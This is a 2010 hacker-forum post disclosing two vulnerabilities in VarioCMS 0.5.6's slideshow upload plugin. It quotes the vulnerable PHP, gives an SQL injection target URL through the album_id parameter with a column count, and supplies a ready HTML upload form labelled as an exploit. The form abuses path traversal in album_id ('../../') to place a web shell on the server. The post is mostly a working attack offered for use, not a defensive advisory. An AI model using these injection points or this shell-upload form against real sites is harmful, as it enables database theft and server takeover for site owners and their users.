27.03.2010, 21:42
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214
Репутация:
3171
|
|
Product: VarioCMS
Version: 0.5.6
Author:: http://sourceforge.net/projects/variocms/
SQL-Inj
Need: mq=off;
File: /plugins/system/slideshow/upload.php
PHP код:
if (isset($_GET['album_id'])) {
$album_id = $_GET['album_id'];
}
....
$sql_insert = "INSERT INTO " . $db_plugin_prefix . "slideshow (album, albumid, image, thumbnail, position) VALUES ('$album', '$album_id', '$image', '0', '$position')";
fputs($logfile, "$sql_insert\n");
Target: http://localhost/bugs/VarioCMS/plugins/system/slideshow/upload.php?album=1&album_id=1'{SQL}.
Columns: 7
Upload Shell
Need: none.
File: /plugins/system/slideshow/upload.php
PHP код:
if (isset($_GET['album_id'])) {
$album_id = $_GET['album_id'];
}
..
foreach ($_FILES as $file => $fileArray) {
echo("File key: $file\n");
foreach ($fileArray as $item=>$val) {
}
//Let's manipulate the received file: in this demo, we just want to remove it!
$new_dir = $slideshow_path . $album_id;
if (file_exists($new_dir) == false) {
mkdir ($new_dir);
mkdir ($new_dir . "/fullsize");
mkdir ($new_dir . "/slideshow");
mkdir ($new_dir . "/thumbnails");
}
$upload_dir = $slideshow_path . $album_id . "/";
$position = 65000;
if (move_uploaded_file($fileArray['tmp_name'], $upload_dir . uml2nouml($fileArray['name']))) {
Target:
Expl0it ^_^:
Код:
<form enctype="multipart/form-data" action="http://targethost.com/plugins/system/slideshow/upload.php?album=1" method="get" >
<input type="file" name="Filedata" /><input type="submit" />
<input type="text" name="album_id" value="../../"/>
</form>
album_id = folder to upload shell.
|
|
|